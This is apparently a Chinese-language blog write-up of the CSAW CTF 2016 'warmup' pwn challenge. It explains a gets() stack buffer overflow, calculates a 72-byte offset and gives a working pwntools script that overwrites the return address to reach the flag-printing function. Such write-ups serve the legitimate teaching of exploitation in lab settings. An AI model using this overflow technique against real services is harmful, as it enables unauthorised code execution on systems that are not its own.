CSAW CTF 2016 PWN warmup

先对文件有个大致的了解,是64位ELF文件

1
2
3
4
5
6
7
8
9
☁  csaw ctf 2016 quals-warmup  ls
exp.py flag.txt readme.txt warmup
☁ csaw ctf 2016 quals-warmup file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
☁ csaw ctf 2016 quals-warmup chmod +x warmup
☁ csaw ctf 2016 quals-warmup ./warmup
-Warm Up-
WOW:0x40060d
>

这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc

丢进IDA看一下:

看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数

进入sub_40060D中看一下:

可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72,因此python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
from pwn import *

r = remote('192.168.229.128', 10001)

r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))

r.writeline(payload)

r.interactive()

即可获取flag:FLAG{LET_US_BEGIN_CSAW_2016}

# CTF, PWN

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×